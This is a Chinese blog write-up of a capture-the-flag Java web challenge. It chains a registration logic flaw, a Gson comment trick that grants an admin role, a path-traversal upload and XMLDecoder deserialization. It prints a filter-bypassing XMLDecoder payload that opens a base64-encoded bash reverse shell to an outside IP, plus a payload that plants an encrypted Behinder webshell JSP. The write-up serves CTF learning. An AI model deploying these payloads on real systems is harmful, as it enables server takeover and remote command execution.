GKCTF X DASCTF 2021_babycat复现学习

 

 17解的一道题,涉及到了java反序列化的知识,学习了。

看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚。

 

 

打开后是个登录框,sign up提示不让注册,这里卡了好久,以为是fastjson或jackson的漏洞,想多了

其实只是个逻辑漏洞,直接把/login的POST包,改成/register就行了,也算是为自己打开了一个思路

 

 

登录进来发现是guest,下载文件存在任意文件下载,upload提示只能admin使用

fuzz了一堆系统环境没啥东西,然后去探测web.xml和classes,拿到源码,代码审计吧。

由于我代码审计太菜也看不出漏洞,只好去看看wp了。

漏洞点一(非预期):

在upload的dopost没验证身份,其实可以直接构造上传的,这个其实很容易看出来,但我不知道怎么利用,还是java知识太薄弱了

漏洞点二:

gson进⾏解析json时可以进行多行注释(这个trick我真不知道,谁没事用json做注释啊)

所以构造payload:

data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"test"*/}
替换后 :
data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"guest"*/}

这样就成功注册了admin权限用户,真tm nb啊

补充:这几天看文章看到了,因为注释不是标准json语法,三方json处理库一般提供,最多的时fastjson,各种骚写法

注册成功后回到最初的问题,上传有黑名单限制,我tm不会利用啊,看wp发现还有dao的源码没扒,真的菜啊

漏洞点三:

在com.web.dao.baseDao中有使⽤了xmldecoder

然后找触发,登录或注册会触发baseDao.getConnection();触发/db/db.xml

此时我们就有思路了,上传进行目录穿越覆盖db.xml,登录或注册触发xml反序列化漏洞。

这里filename="../../db/db.xml"

这个xmldecoder是weblogic的老漏洞了,利用方式也是一样的,不过过滤了ProcessBuilder这样原本的payload就失效了

不过在复现weblogic的漏洞时你会发现,有些特殊字符是必须进行unicode编码的,所以这里大佬直接编码一个P就绕过了,膜拜

<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.&#80;rocessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{b
ase64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>

这里过内容检测没什么新鲜的,大家应该都会,就不说了

由于我没有vps,所以弹shell的事交给大家了,应该问题不大。

 

回到官方wp,出题人其实想考的更难一点,java.io.PrintWriter可以对绝对路径的文件进行写入,之前我们利用任意文件读取,可以得到绝对路径

这样就把shell写到static下就行了,其它思路一样

<?xml version="1.0" encoding="UTF-8"?> 
<java version="1.8.0_192" class="java.beans.XMLDecoder"> 
<object class="java.io.PrintWriter"> 
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void
method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void><void method="close"/>
</object>
</java> 

这里要注意一点:

xml中jsp部分一定不要带中文,最好先打好再粘贴过去,不然一直不成功,坑了我好久。

最后用冰蝎连接,执行/readflag的sh文件就行了

 

 

 

 

最后补充一下,好像如果非预期解上传jsp到web目录可以直接拿shell。

这样的话非预期解难度一下变小了,如果用预期解这道题的重点还是CVE-2017-10271利用的原理上,收获颇多。

 

posted @ 2021-07-07 17:29  TJ_WaTer  阅读(866)  评论(0编辑  收藏  举报